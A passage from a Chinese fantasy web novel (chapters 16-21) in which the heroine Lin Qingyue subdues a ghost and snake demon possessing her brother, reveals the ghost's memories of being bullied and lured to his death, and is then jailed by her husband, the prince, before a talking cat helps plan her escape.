可下一刻,透过门缝,她清晰地看到完全疯魔的林如风拽着周氏的头发,硬生生地将她拖走了。
周氏还在尖叫,还在喊:“珍儿、珍儿……”
那个她亲手抚养长大,哪怕后来发现她是被人偷换,并非亲生,也依然宠爱的女儿,却亲手将她推了出去……
林如风大力地将她拽过来,扑在她身上,像野兽一般撕咬她的肉。
“啊!”周氏的惨叫,响彻整个侯府的上空。
就在这命悬一线的时候,忽听一声清幽的声音,破开夜空,泠泠入耳:
“人妖殊途,阴阳有界。莫扰生人,可诉尔冤。孽畜,还不住手?”
近在喉间的獠牙挪开,怪物好像被什么震慑到了,丢了周氏缓缓站起来。
周氏死里逃生,循声看去,只见一道纤丽的身影,踏着满地的血污,披着一身月光而来。
那张脸,分明是她熟悉的模样,可幽冷的眼神、淡漠的神态,又仿佛有些陌生。
刹那间,周氏泪如满面。
那是她嫡亲的女儿,被接回侯府两年,都没能好好与之相处。甚至为了顾及养女的感受,而故意生疏的女儿,却在她命悬一刻之际,及时出现了。
这时,东方宴也奔了进来,扫视了眼周围,没看到林如珍才稍稍放心。
而谢守正则一眼看到重伤倒地的司卫们,心疼不已:
“你们怎么样,可还能起来?锁妖阵法你们不是练习过多次,怎么还能伤成这样?”
这些可都是他的精锐下属啊……
这下好了,一个折了腰、两个断了腿,还有三个挂在树上下不来。
本来玄镜司人手就不够,这下就更没人了!
他没空心疼太久,拿出血棘鞭警惕地靠近林倾月:“这东西好生奇怪,先前分明是鬼魂闹事,可此刻怎么又满身妖气?”
妖与人一样,有善恶好坏之分。
恶妖闹事,玄镜司自然也是责无旁贷。
嘶哑的声音从林如风的喉间滚出:“为什么多管闲事?”
那双血红色的竖瞳,在林倾月身上打量着,似乎想要看清她的来历。
明明只是肉体凡胎的人,可不知道为什么,身上却带着一股强大的威慑力。
刚才,就是被她的气场震慑住了,才暂时放过周氏。
林倾月道:“我不愿意管的才叫闲事。给你个机会申冤,说出你的冤屈,谢大人可为你做主。”
谢守正赶忙出来道:“对对,有话好好说,没必要打打杀杀的!”
这时,出去搬救兵的林霄带着城卫营的上百军士赶回来了。
看到东方宴也来了,他还十分紧张地叮嘱:“殿下您小心些,千万莫要伤着您!”
城卫营的军士纷纷抽出兵器,将林如风团团围住。
林霄道:“不管你是什么东西,速速从我儿身上下来,否则今日定要让你不得好死!”
“林如风”发出几声狰狞的大笑:“这就是你们说的,有话好好说?世人皆说妖邪恐怖!可你们人类,狡诈阴狠,恃强凌弱,自相残杀!你们才该死,通通该死!”
话到最后,他整个人被怨气支配,手掌挥出一阵狂风,瞬间就掀翻了十几个卫兵。
其他的卫兵们赶忙挥刀抵抗,可人妖间力量的悬殊实在恐怖,再加上林如风贵族身份,他们心有顾忌,很快就落了下风、
谢守正鞭子一甩,也加入其中,倒是慢慢牵制住他的力量。
至于玄镜司那几个挂在树上的手下也终于爬下来,跟着加入阵营。
林倾月看得差不多了,大声喝道:“普通卫兵都撤,你们不是对手。”
与此同时,她咬破手指,就着自己的血唰唰几笔画出一张“天罗地网符”,而后念一声:“天罗地网,锁妖镇邪,去!”
符纸“咻”的一声,飞到“林如风”的头顶,瞬间幻化出无数莹亮的血网,铺天盖地落下。
“兄弟们撤!”
谢守正和那几个司卫倒是配合得很好,在林倾月画符的时候,牵制住“林如风”,等天罗地网落下的时候,第一时间闪走。
红色的血丝,丝丝缕缕,死死捆着“林如风”。
东方宴在旁边看着,再度被震惊:“你居然还有降妖伏魔的本事?”
第16章 也许,我能给你一个公平
谢守正也松了口气:“本官还以为会是一场恶战,怕要损兵折将。没想到王妃这一招,着实让人开了眼界。比起我们之前用的锁妖链倒是方便许多……”
林倾月心底暗暗叹息:修为恢复还是太少了,起个最简单的咒,还要借助自己的精血才能起效,真是麻烦。
也多亏这个世界没什么大妖,否则还真是应付不了。
不过话说回来,要不是这里的妖邪实力降级,就谢守正那种不入流的狼妖,也不可能混成个五品官。
谢守正不知道已经被鄙视了,还厚着脸皮问林倾月:“刚才的符能否多画几张符,留给我等备用?”
“你倒是想得美!”林倾月白了他一眼,“还是想想怎么把对方送走吧。天罗地网符有时效,最多只能维持一个时辰。”
谢守正大大咧咧地说:“送走不难!能劝就劝、能渡就渡。劝不了、渡不了的,该杀杀,该封印封印。毕竟好言难劝该死的鬼嘛!”
林霄一听就变了脸色:“那我儿子怎么办?”
谢守正耸了耸肩:“若杀一人能保一方安宁,另公子也只能舍生取义。大不了,回头本官帮林大公子向圣上请个杀身成仁的英烈称号。”
顿了顿,他看向林倾月:“不知王妃可有什么高见?”
先前,清安郡主魂魄成煞,束手无措的时候,林倾月能轻而易举地唤回她的理智。就是不知道,对付恶妖,有没有办法。
“荒唐!你们玄镜司就这般草菅人命?”林霄大怒。
周氏顾不得身上的疼痛,跌跌撞撞地来到林倾月跟前:
“月儿,你救救你哥哥。娘就这么一个儿子,不能眼睁睁地看着他去死啊!”
虽然不知道林倾月是怎么学了这一身的本事,但现在却是她唯一能抓的救命稻草。
“是吗?”林倾月狡黠地笑笑,“那若是用你的命去换呢?”
周氏一愣:“什么意思?”
林倾月道:“就是用你的命换你儿子的命啊。”
周氏不说话了。
林倾月转身,不欲再多管,就让谢守正自己去折腾吧。
周氏却突然拽住她的袖子,颤声道:“娘,愿意!只要能救回风儿,娘愿意以命相换!”
林倾月冷笑:“你倒是个伟大的母亲,为了林如风和林如珍,连自己的性命都不顾。偏偏,对亲生女儿薄情寡义。”
东方宴皱眉看来,不明白为什么林倾月会强调“亲生女儿”这个字眼。
周氏啜泣着道:“月儿,娘知道这些年疏忽了你。今日娘看清了很多事,娘保证以后会多关心你。只求你帮帮你哥,以后他若是再待你不好,娘替你骂他、打他都行!”
林倾月:“呵~原来你也知道他待我不好啊。”
“月儿,娘求你了!”
那边,谢守正正蹲在“林如风”旁边,喋喋不休地劝说。
什么冤冤相报何时了,不如放下执念,回头是岸。
还有什么放下屠刀,立地成佛等等。
连旁边的狸花猫,都觉得没眼再看,用猫爪捂住了脸:小灰还是和以前一样啰嗦!
罗里吧嗦一大堆,最后成功地把恶妖惹火了,发出一声尖啸,然后再度用蛮力试图挣脱束缚。
“砰!”几根红色的血线,在那蛮力之下开始断裂。
谢守正吓了一大跳:“不是说能顶一个时辰,怎么那么快就开始断裂?王妃,王妃!”
林倾月都有种想要拍死谢守正的冲动。
“原是能顶个把时辰的,结果你把他给惹怒了。他体内同时有冤魂和恶妖,本来只是恶妖折腾,你一劝把那个冤魂也给惹怒了。谢大人啊,你还真是成事不足败事有余!真不知道,你是怎么当上这个鉴邪使的。”
“王妃,下官的事情可以容后再说,解决眼下的问题要紧!”
林倾月冷睿的目光透过林如风,看到了他身体里潜藏的鬼魂:
“这么多年来,你一直隐忍不发,我知你并非恶鬼,只是有冤无处述。你愿意把你的记忆给我们看吗?也许,我能给你一个公平。”
说话间,她慢慢地走向林如风:“你若愿意,就暂时放下抵抗情绪。这世间虽然满是龌龊,但公理一息尚存。”
也许是她此刻的语气太过温柔,也许是那鬼魂含冤多年无处倾诉,此刻居然流出两行清泪,随之慢慢地闭上了眼睛。
林倾月立刻甩出一符:“前世种种,浮生一梦。以血为引,溯梦回影!”
前两日,林倾月用这一招的时候,只能把记忆回给一个人。
但这一次,她溯梦的同时,叠加了一个“海市蜃楼”符咒,如此一来就能投影到虚空里,让周围的人都能窥见。
于是此刻,林如风的头顶上空浮现出了一片荷叶般大小的溯梦画面。
画面,明媚的春光照耀在“林氏学堂”的门楣上,熠熠生辉。朗朗的读书声,悠扬入耳。
林氏学堂,乃是林家第一任侯爷创办的学堂,除了本家的子弟就读之外,也招收其他外姓的子弟。
白天,学堂里是朗朗的读书声,一派上进的模样。
可当夫子走后,又是另外一种样子。
“哗啦——”一桶腥臊的尿液兜头浇下。
穿着青衫、面容清秀的少年,浑身就浸满了污秽。
旁边的学生急忙散开,有人嫌弃,有人嘲笑。
“哈哈哈,你们快看沈墨的样子,像不像一个人形的尿桶?”
“尿桶就该装满屎尿!”
“沈墨,快去茅厕里,好好当一个尽职尽责的尿桶,不要在学堂里恶心我们!”
满身污浊的少年,愤怒地望着那带头欺负自己的人:
“林如风,我到底哪里得罪你?你为什么总要针对我?”
那时的林如风,还是十八岁的少年,年轻俊朗,却又恶毒如魔鬼。
“你没有得罪本公子。本公子就是读书太无聊了,想要找个人欺负欺负。”
“为什么选择你?谁叫你寒门出生,家道中落呢?”
沈墨道:“寒门又如何?我祖父也曾做过官,只是……”
只是过于刚直,得罪了上官被免去了职务,家道中落而已。
在家乡的时候,沈墨还是意气风发的少年郎,想要凭借一己之力,光耀门楣。
后来到京城求学,也是想要扩展眼界,得大儒教导。
可京城遍地都是达官显贵,寒门弟子就显得微不足道。
在林氏学堂里,他的出身最低,甚至还因此成为了被欺辱的对象。
第17章 为他人做嫁衣裳
“你祖上最多也只做过七品小官,还被罢免了。可本公子乃是长宁侯府的嫡长子!就算本公子不学无术、游手好闲,也能靠着祖阴袭爵封侯!而你……”
他拿着书本一下一下砸在沈墨的头上:“你就只配给本公子当个乐子耍!”
“你们不是说他像尿桶吗?那还等什么,再给他浇浇水,让他物尽其用!”
于是那些纨绔子弟们,便嘻嘻哈哈地解开裤腰带,轮流羞辱沈墨。
“你们在干什么?”夫子听到动静,赶忙过来查看,
林如风却依然有恃无恐:“沈墨把尿洒在学堂上了,夫子你看看这就是你教出来的好学生,一点礼义廉耻都不懂。”
夫子哪里看不出他们在欺负人,可他受聘来此教学,拿的是林家的供奉。
他自然不敢得罪林家嫡公子、未来的长宁侯,于是只能委屈沈墨:
“沈墨,既然是你弄脏的,就把学堂打扫干净再回去。其他人都散了吧!”
那天,沈墨形单影只地蹲在学堂里,一遍遍地擦拭被弄脏的地板。
能来这里读书,家里花了钱、托了关系,他无论如何都不能半途而废。
忍一忍,再忍一忍。等到明年科考拿到功名,就好了……就好了。
明明都想通了,可为什么眼泪还是忍不住滴落,为什么还会那么难过?
为什么世上会有阶层的存在?
为什么人和人之间的差别如此悬殊?
为什么……
我只是想好好读书而已……
从学堂出来后,大雨骤降,他麻木地走在磅礴的大雨里,希望雨水能洗刷身上的污浊。
可那股腥臊的味道总萦绕在鼻尖,怎么都去不掉。
有路人匆匆经过,向他投来讥讽的眼神,越发让他觉得无地自容。
雨丝劈下,脸颊生疼,连上天也要欺负他吗?
一把烟紫色的油纸伞,悄无声息地悬在头顶,挡去了雨水和阴霾。
耳边传来小厮的声音:“我家小姐送公子一把伞,助公子遮风挡雨。”
他接过伞的时候,印着“将军府”字样的马车从身边缓缓驶过。
车行了不远,停在一处布庄门口,走下来一位绿萝长裙的小姐。
似乎是感觉到了什么,那小姐忽然回首,秋水盈盈的眸光,隔着重重雨帘向他望来。
没有世家大族的傲视与偏见,平淡无波的眼眸中,带着几分温柔善意。
那一眼,犹如迷雾中的明灯,在少年晦暗而绝望的心头落下一片光明。
后来他才知道,那是威远将军府家的三小姐,京城有名的才女。
此外,他还打听到柳小姐自小善良,每逢初一、十五都会设立粥棚济民。
多么高贵的出生,多么澄澈善良的人。
他短暂的自卑了一瞬,忽又想:“若明年秋闱,我能拔得头筹,也许……”
也许的后面,是他不敢生出的妄想。
那么美好的女人,他不允许自己生出任何亵渎之心。
只是每到初一、十五三小姐粥棚开启的时候,他会悄悄地躲在远处看她施粥时的模样。
——这世间满是污浊,而她,是仅此一朵的清荷!
从那天之后,他更加努力地读书。
也许总有一天,他能跨越阶层,鼓足勇气走到她的面前……
可他的努力,落在林如风这种不学无术,一听讲课就犯困的纨绔眼里,更加扎眼。
于是他们就变本加厉地欺负沈墨。
他们撕掉他珍爱的书本,在他辛苦写好的文章上涂涂抹抹。
挨打,就更是常态了。
林如风特别喜欢打人,而且他还喜欢变着花样的打,比如骑在沈墨的身上,用鞭子抽打喊:“马儿快走,不然老子抽死你!”
他还会在沈墨上课的时候,故意抽走他的杌凳,然后在底下点上香……
很多次,沈墨受不了想要退学。
可林家学堂再如何恶劣,这里的夫子却是学富五车的当世大儒,能让他学到很多家乡学不到的知识。
他告诉自己:“我已经受了那么多罪,忍了那么长时间,若半途而废,耽误学业,便是前功尽弃!”
在最绝望的时候,他脑海里就会浮现出那个下雨的傍晚,那把撑开头顶阴霾的油纸伞,以及那个澄澈美丽的小姐。
有一天,林如风突然好声好气地和他说:“我相中了一个姑娘,可那姑娘喜欢才子、自视甚高。沈墨,要是你能帮我写情书哄得她的芳心,本公子就不再为难你,如何?”
沈墨犹豫着没说话。
林如风一把掐住他脖子,恶狠狠的威胁:“你要敢拒绝,我就让你在学堂待不下去!我还会打断你的腿,让你没法参加科举!”
沈墨本就怕极了他,又被他一番恐吓,哪敢不同意?
沈墨的文采果然了得,连续写了七封情书后,对方就开始回信了。
起初只是一般的寒暄,待到几十封书信后,少女绵绵的情思便跃然纸上。
每当看到林如风拿着满含少女情思的书信,旁若无人的嘚瑟时,沈墨也难免会愧疚。
可他又能怎样呢?
他只是不想再挨打受欺,只想好好读书,考取功名。
仅此而已。
可人生在世就是这样不公平,有的人恶事做绝,却依然逍遥自在。
而他,只是被迫犯了一次错,报应就来了。
那天,他就在学堂门口看到将军府的三小姐——那个他悄悄藏进心底的澄澈少女。
可心仪的少女,正满脸娇羞,含情脉脉地看向林如风……
那时,沈墨才知道,原来一直和自己书信往来的少女,居然就是将军府的三小姐——柳婉清。
他亲手纸笔,写下一封封打动人心的信件,却将心仪的少女推进了林如风这个人渣的怀里!
等沈墨发现的时候为时晚矣,两家都已经定亲了。
那天,一向懦弱的沈墨第一次动手打了林如风。
换来的,是更加暴力的对待。
林如风踩着他鼻青脸肿的脸,满面含笑地道出了实情:
“我早就知道你小子心仪柳小姐,癞蛤蟆想吃天鹅肉!所以我就故意做局让你帮我写信。”
“怎么样,为他人做嫁衣裳的滋味如何?爽不爽啊?哈哈哈!”
第18章 坏事做尽的人
“你喜欢柳婉清,你把她当成天上的明月。可在我眼里,她什么都不是,她和你一样都是供我戏耍取乐的玩意。”
“我本来也不想娶她,纯粹就是取乐而已。”
“可我母亲无意间看到我们……或者说是你和她的书信往来,就做主和柳家议亲。”
“你看,对你来说高不可攀的女人,对我而言却唾手可得。”
林如风俯身在沈墨耳边,得意地说:“其实本公子好男风,不喜欢女人。将来娶她,也只是放在家里当个摆设而已。哈哈哈……”
沈墨哭了,他痛哭流涕地匍匐在林如风的脚边哀求:
“你怎么折辱我都行,只求你放过柳小姐!求求你了,林公子我求求你了!求求你了!”
都说男儿膝下有黄金,可那天沈墨放下了读书人的傲骨,卑贱地跪在林如风的脚下,磕得头破血流。
林如风眼珠一转,忽然又想到一个好玩的点子。
“听说城南二十里处,有座鬼哭岭。你这懦夫,要是能在那里熬过三天三夜,不论死活,我都答应和柳家小姐退亲。如何?”
“你此话当真?”
“自然当真。本公子向来守诺言,先前让你代写书信时说不再欺负你,不也做到了吗?今日是你先动手,本公子才还手。”
鬼哭岭乃是官方明令禁止,不准民众靠近的地方。听闻山里不光有猛虎,还有些山精妖怪出没。每到夜晚山下能听到鬼哭狼嚎的声音,十分骇人。
沈墨也害怕,走到山下的时候犹豫再三。
可一想到自己给柳小姐错牵了姻缘,就满心懊悔,宁可以命弥补,也不能让柳小姐的一生都毁在一个畜生手里!
他咬着牙,进了鬼哭岭。
奇迹没有发生,他在第一天夜里,就被一个蛇妖活活吞吃了。
死后不知道过了多久,他的魂魄带着生前的执念,来到了林家。
林家正在大办喜宴——林如风和柳婉清的喜宴。
婚房外,有个纨绔问林如风:“我还以为你不会和柳小姐成亲呢。毕竟,你可答应了沈墨,只要他去了鬼哭岭,不论死活,你都会和柳小姐退亲。”
林如风哈哈大笑:“糊弄沈墨的鬼话,你居然也会相信?我故意那么说,就是想让沈墨自己去送死!免得他到柳小姐面前乱说,破坏我们两家联姻。我虽然不喜欢柳小姐,可她家世好、人又单纯,是个好拿捏的。哎,别废话了,走走走,我们去双燕巷找几个男妓好好玩玩。”
“哈哈哈,林公子你居然放着洞房不入,要去嫖?不怕你家娘子生气?”
“她敢啰嗦,老子就用拳头招呼她!”
就这样,沈墨眼睁睁地看着柳婉清在林家受尽丈夫和婆母的磋磨。一点点地从明艳活泼的少女,变成了深闺怨妇。
无数次,沈墨都恨不能将林如风拆皮剥骨!可他不能放纵自己的怨念,非但不能,还要努力地控制怨气侵蚀人性。
因为那条蛇,那条吞吃了他肉体的蛇也来了。
那不是一条普通的蛇,而是被镇压在鬼哭岭的蛇妖残魂。在吞吃了沈墨后,借着他的怨气和鬼魂,才冲破封印一起潜藏在林家。
若是沈墨放纵自己的怨念,不顾一切地去报仇。那么以蛇妖暴虐的性质,必然会屠杀整个林府,连柳婉清也难逃一死。
他已经害了柳婉清,不能再让她无辜惨死。
为了柳婉清,这三年以来,他努力和蛇妖残魂抗争。
直到昨天,柳婉清从林倾月口里得知林如风的隐疾和喜好后,彻底对他死心,离开林家。
沈墨才放弃了抗争,任由怨念驱使,和蛇妖魂魄合一,找到林如风报仇,并将林家闹得大乱。
一阵夜风吹过,投影在虚空里的画面,如海市蜃楼般消失不见。
可刚才的一切,都已被众人看了个一清二楚。
连那些赶来支援的城卫营军士们都愤怒不已:
“林公子实在欺人太甚,难怪沈墨要找他报仇!”
“我若是沈墨,早就把林如风弄死了。沈墨到底还是善良了。”
“喜欢男人,你就找男人啊!为了掩人耳目,便糟蹋人家的好姑娘!”
“这种人要在咱们军营里,早就被乱棍打死了!”
连东方宴都忍不住说了一句:“原来这就是长宁侯府的家风,倒真叫人开眼。”
可转念间,又想到自己洞房花烛夜的那一晚,不也是抛下了新婚的妻子,另寻佳人吗?
——不,本王和林如风才不是一类人!
再说他们的之间的婚事,本也是林倾月用手段算计得来。
看来,林家人都是阴险恶毒的。只有珍儿,出淤泥而不染。
当真相被血淋淋地剥开,长宁侯府维系多年的脸面丢得一点都不剩。
而林霄还在试图挽回颜面:“我儿年纪轻,不知后果严重。以后本侯一定好好教育他!沈墨,沈公子!本侯求你,就饶他一命吧。本候知道你是个好人,不会滥杀!你的冤屈,我们都已知晓。明日本侯便为你风光大葬,做足七天七夜法事,让你早登极乐。就请你大人大量,原谅我儿一次吧!”
“原谅?”沈墨笑了起来,“当年在学堂,他欺我、辱我,又将我骗至鬼哭岭,被蛇妖活活吞噬。你们知道我死的时候是多么的绝望和痛苦吗?”
“可林如风呢?他坏事做尽,却依然能心安理得地活着。凭什么?我凭什么要原谅他这样的人渣?”
他的眼睛再度变为竖瞳,嘴里长出蛇一般弯曲的獠牙。
束缚他的血色丝线,也开始寸寸断裂。
“不好,要妖变了!”谢守正当机立断地下令:“玄镜司的兄弟们,火阵起!”
先前他们顾念林如风,没有拿出真正的杀招。而火阵一起,不管是鬼魂、活人还是恶妖,都会一起被诛灭,魂飞魄散不得超生。
周氏不能见儿子身死,又哭着求林倾月:“女儿啊,救救你哥吧!人死不能复生,更何况沈墨是被蛇妖害死的,不能一概算在你哥他的头上啊!”
第19章 废话这么多,看来你还是疼得不够
“好一个人死不能复生!好一个不能算账他的头上!”林倾月讥诮地笑着。
“那行吧,我就帮帮你们。谁叫林如风是侯府嫡子呢?他的命啊,确实‘金贵’一些。”
“沈墨,与其玉石俱焚,不如……”她再度来到沈墨身边,不知说了些什么。
原本已经快丧失人性的沈墨,神情却渐渐地平静下来,定定地看向林倾月。
须臾之后,他大声地道了一声:“好,我愿意放下仇恨,放过林如风。”
与此同时,獠牙消失,竖瞳也慢慢恢复成人的瞳孔。
只有一个尖锐的声音还在抗议:“沈墨,她在骗你!你不能上当,沈墨,沈墨!”
“聒噪!”林倾月一掌拍在“林如风”的头顶,林如风被打得倒飞出几丈远。与此同时一道扭曲的、巨大的蛇影也从林如风的身体飞出,又猛然一抻,迅速溜走。
“妖孽,哪里跑!”谢守正大喝一声,带着玄镜司的手下一起追出了侯府。
而林如风则倒在地上,一动不动。
“风儿!”周氏忍不住埋怨着林倾月,“你怎么能对你哥下这么重的手呢?他若是有三长两短,我该怎么活?”
林倾月道:“他死不了,只是昏了过去。抬回房间去,休息一晚上,明日就能恢复了。”
“当真?”周氏顿时松了口气,“月儿,娘就知道你不会不管你哥生死的!”
“这就没事了?”林霄有些不放心,先是叫人过去查看,果然见林如风气息尚存,只是暂时昏迷。
凌霄赶忙吩咐:“把大公子抬下去休息。”
城卫营的人,见事情结束也都散去了。
其中有些血气方刚的人,临走前对着侯府的大门呸了一声:“真是好人没好报,祸害遗千年!”
可,又能怎么样呢?
即便侯府如今远不如祖上荣耀,可还是高门大户,嫡女又是晋王妃。
就算林如风的那些龌龊事情被揭露,可也只是损失些名声而已,并不能伤害他分毫。甚至,他依然能靠着祖荫,荣华富贵的过后半生。
“月儿,你怎会那些对付妖邪的手段?”儿子的事情了结,林霄这才想起关心林倾月。
林倾月随口敷衍:“当然是在民间学的咯,少时遇到了奇人,教授了些本事罢了。父亲若想知道更多,那就得从女儿的身世开始说起。”
当着东方宴的面,林霄哪敢提身世问题?一提,岂不是暴露了林如珍假千金的身份?
在当下这个阶级泾渭分明的时代,连寒门被人看不起,何况其他?
一旦林如珍真实出身揭露出来,贵族阶层将再也容不下她。
那林家精心培育了十几年的好棋子,也就成为了废棋!
林霄赶忙说:“即是奇遇,也算是你的造化。不过玄术多为底层贩夫走卒才需要用到的,你是王妃,心思理应放到服侍王爷、笼络宗亲上才对。”
林倾月冷笑:“呵~这叫什么?过河拆桥?”
“月儿!怎么和父亲说话的?”
东方宴没有注意到父女俩话语中的问题,想起了别的什么来,便问林倾月:
“你刚才对沈墨的鬼魂说了些什么?他竟就乖乖听你的吩咐离去了?”
林倾月抖了抖衣袖,随口敷衍:“哦没什么,我只是让他宽宏大量放下仇恨,早去轮回。”
呵~才怪!
“王爷!”一直躲在阁楼避难的林如珍看到外面危机解除,赶忙跑出来显眼。
东方宴听得那一声娇娇弱弱的喊声,这才想起林如珍被林倾月下了个古怪的咒术。
“林倾月,把珍儿身上的咒术给解除了。”
“什么咒术?”林霄一脸茫然。
东方宴就将事情大概说了一下,又对林倾月道:“你把咒解了,并且答应本王以后都不再使用下作手段害人。先前的事情,本王就既往不咎了。”
“啊!”林如珍捂着嘴,惊讶无比,“原来是姐姐害我?”
旋即又落下眼泪:“姐姐,就算我有什么地方做得不好,你打我骂我都可以。为什么要用这样的手段来害我呢?你知不知道,珍儿疼得一夜没睡,整个舌头都肿得不能说话。多亏晋王殿下为我请来太医医治,才消了肿、止了痛,勉强能说些话。”
林倾月呵呵:“废话这么多,看来你还是疼得不够。”
“林倾月!”东方宴再度冷了脸,“你为什么总要如此刻薄说话?”
单看林倾月的时候,还觉得她聪明冷静,且时不时地会给人以惊喜。
可一旦她和林如珍在一起的时候,那刻薄嘴脸毕现,把先前所有的好感,通通给败光了。
“我说过,此咒无解。除非今后诚实做人,不再谎话连篇,否则每说一个谎话嘴巴就会生出一个烂疮。时间一久,连舌头都要烂光。即便再高明的医者,最多也只能缓解一时,治不了根。”
东方宴道:“林倾月,你心思太过恶毒,且又擅使咒术害人。留你在外,谁知你以后还会做出什么丧心病狂的事。来人,把王妃给本王抓起来,关入王府地牢!”
“王爷!”周氏突然站出来,生平第一次帮林倾月说话,“您和月儿到底是夫妻一场,又是御赐的良缘,千万不可闹成仇人。至于珍儿……”
她看了眼林如珍,不再像从前那样的慈爱和盲目信任。
“珍儿可能确实说了些谎话……”
“夫人!”林霄急忙出言阻止。
他是有私心的。一个女儿已经被王爷厌弃,不能再抹黑另一个女儿了。
周氏含着眼泪道:“侯爷你有所不知。刚才风儿被邪祟上身发疯伤人的时候,我好心救珍儿。可她却反手将我推了出去,若不是月儿及时赶到。我怕是已经死了!”
若不是东方宴在侧,她都忍不住想多说一句:到底不是亲生的,养不熟的白眼狼啊!
林霄闻言很震惊:“此话当真?你母亲对你这样好,珍儿你居然推她去死?”
林如珍下意识地辩解:“我没有,我不是故意的,是母亲自己没站稳跌到门外……啊痛!”
原本已经消肿的舌头,再度肿胀起来,林如珍捂着嘴痛得浑身颤抖。
林倾月笑着伸出了三个手指:“刚才那句话,一共包含了三个谎话:我没有、我不是故意的、母亲自己没站稳跌到门外。”
“既然太医为你看过诊,想必诊治记录里应该记载了,你的嘴巴里一共长了几个疮。那么现在只要比对一下,是不是又多出三个新疮,就能验证你的谎话!”
她笑盈盈地望着东方宴:“你以为你真的了解她吗?你连她说的是不是谎话,都不知道呢!”
第20章 被关入牢房
“王爷……”林如珍嘤咛一声,泪眼迷蒙地望着东方宴。
看得他的心都软了几分。
东方宴的命都是林如珍救下的,哪怕她说了几句谎话也不能抹消曾经的救命之恩。
“珍儿你莫要害怕,本王答应护你一生周全,就不会让任何人伤害你!”
前一刻还温柔的男人,下一刻望向林倾月的目光却冷如冰霜:
“即便珍儿说过几句谎话,她也还是天上明珠,不是你这种蛇蝎毒妇能比的!来人!”
侍卫得令上前,要来拿林倾月。
狸花猫一步挡着前头,嘴里发出低低的嘶吼:“东方宴,你当真是善恶不分!滚开!”
可惜没人能听得懂,只看到一只小猫在不自量力。
林倾月觉得无比讽刺,整个林府的人都无动于衷,只有这猫肯为她站出来。
东方宴摸了手背上的猫爪痕,想起之前的过节来,冷声下令:“来人,先把这只畜生给本王打死!”
“走!”林倾月急忙对狸花猫喝了一声。
狸花猫心中十分难受:若自己还是太子之尊该多好,至少能用身份和权势压制住东方宴,不会再让林倾月受欺。
然而,它此刻自身难保,留下反而是拖累,在侍卫的刀砍来之前它嗖的一下窜入草丛,又飞快跳上屋檐,消失在夜里。
还有几个侍卫得了东方宴的令,要来拿下林倾月。
林倾月道:“不用你们动手,我自己走!”
这一刻,她能感觉到身体里残留的原主执念越来越淡——连原主都要彻底对他心死了吧?
她忽然抬眸,凉凉地看了东方宴一眼。
很好!这将是她最后一次服软,不会再有下次了。
东方宴被她的眼神看得莫名一惊,心中竟然生出一种无法言喻的难过。好像有什么重要的东西被他弄丢了一般。
“月儿!”周氏追了两步,被林霄给拉住了,“这事也怪她自己!姐妹本该同心协力,共同谋事。她倒好,反而自相残杀。”
“娘,对不起……”林如珍眼泪汪汪地来拉周氏。
可周氏的心已经寒了,冷冷地拂掉了她的手。
林倾月回到王府后,就被关进了地牢。
巨大的玄铁锁落下,锁住牢房的大门。
东方宴隔着一道牢门看她:“林倾月,你就老老实实呆在里面,不要妄想逃走。这玄铁锁链,专克术法。本王为了你,特意从大内借来。”
林倾月冷笑:“是为了我吗?难道不是为了林如珍才费尽心血?”
可那个满口谎言的女人,当真值得?
若有一日,你知道她是个冒名顶替的假千金,还会如此深情吗?
又或者放下阶层的成见,不顾一切和她在一起?
东方宴窥见林倾月眼底的讥讽,只觉得愈发的碍眼。
这个女人,真是犟的可恶!
为什么你就不能服个软?为什么你总是这样咄咄逼人?
他简直恨极了林倾月现在这个样子,不光是为了林如珍。更觉得自己所有的手段,都好像打在棉花上,毫无力道。让他这高高在上的王爷,觉得自己好像根本无法掌控这个女人。
越是这样,他就越是忍不住想要搓她的锐气。
他就不信,她能一直这样倔强下去!
“林倾月,你既然满身本事,想来饿几天应该也死不了。你就在这里好好反省自身,什么时候知道错了,不再害人,本王再放你出去!”
撂下这番话后,东方宴拂袖离去。
人是铁,饭是钢,他就不信饿几天,这女人还能如此嚣张桀骜!
林倾月试了试那寒铁锁链,果然覆着一成淡淡的克制之力。她的力气和术法落上去如泥牛入海,根本无法撼动。
“狗王爷,本座倒是小看你了。”
林倾月放弃开锁,转而打量起牢房的情况来。
王府地牢阴暗潮湿,后墙上有一扇巴掌大的小窗,透出些许月光。
正常人的身体,自然是无法穿过那种小窗。
要不临时练一下缩骨功?不好不好,那种功法太丑陋了,死也不练!
就在林倾月寻思着,是否还有其他办法的时候,忽然听到小窗那边传来一声猫叫。
抬头看去,就见一只狸花猫从小窗里钻出来,圆溜溜的大眼睛,在黑暗里像两只小灯笼,亮晶晶的。
看清楚了里面的情况后,狸花猫一个纵跃跳了下来:“喵喵……”可算找到你了!
猫在林倾月脚边绕了几圈,见她没有受到什么伤害,才放下心来站定了。
“还好你没有和他硬来,光王府的侍卫都有上千人之多。”
他说的没有错。
林倾月目前灵力还很弱。她所绘制的符咒,看似强大,但主要是针对妖邪之流。
如果真刀真枪地和几千军马作战,光靠一身蛮力,肯定是不行的。
所以她刚才没有和东方宴硬拼。
林倾月道:“我还以为你走了,没想到你还知道回来。是怕离开了我,就没人能帮你恢复身份了吗?”
狸花猫道:“不管你今后能不能帮我恢复身份,我都会帮你。一方面是你救过我,另一方面是我觉得你不该被晋王如此对待。”
“你本是他的正妻,就算用了咒术,也事出有因。他既娶了你,就该给你王妃应有的待遇和尊敬。而不是为了一个外人,是非不分!”
林倾月宛然一笑:“坊间传闻,太子殿下贤明仁善,果然不假。看到今日你回来找我的份上,将来若是你肉身尚存,我定帮你还魂,助你恢复身份。不过眼下还是得想办法,先出去再说。”
她说着,叹了口气,指了指牢门上的锁,“也不知道是哪个龟孙子设计出来的玩意儿,我暂时没办法弄开。”
狸花猫眼神闪躲了下:“抱歉,是我……”
林倾月:“……呵呵,你倒是有些手段。”
狸花猫赶忙解释:“这本是针对那些身怀异能,又作奸犯科的恶人。没想到会被东方宴拿来锁你。”
“好在设计之初,为了以防万一,我设计出了两种开锁方式。除了钥匙之外,还可以用暗号开启。”
?
第21章 乌合之众
说话间,狸花猫走到牢房门口,尖尖的耳朵耸动了下,道:
“外头有守卫巡逻。依照我今天的观察来看,王府的侍卫大约每一个时辰换岗一次。想来牢房的岗哨也是如此。两班岗之间会有短暂的空隙。我们可以趁着换岗的时间出去。”
林倾月点头:“你观察得没错,确实是一个时辰换一次岗。”
狸花猫继续道:“以你的本事,虽不宜和他们硬拼,但是今晚逃出去问题不大。不过这些侍卫训练有素,应该很快就会发现你越狱。届时肯定要满城搜捕。”
“我思来想去,最适合你的路子就是进入玄镜司!”
“我?去玄镜司?”林倾月被他这个提议逗乐了。
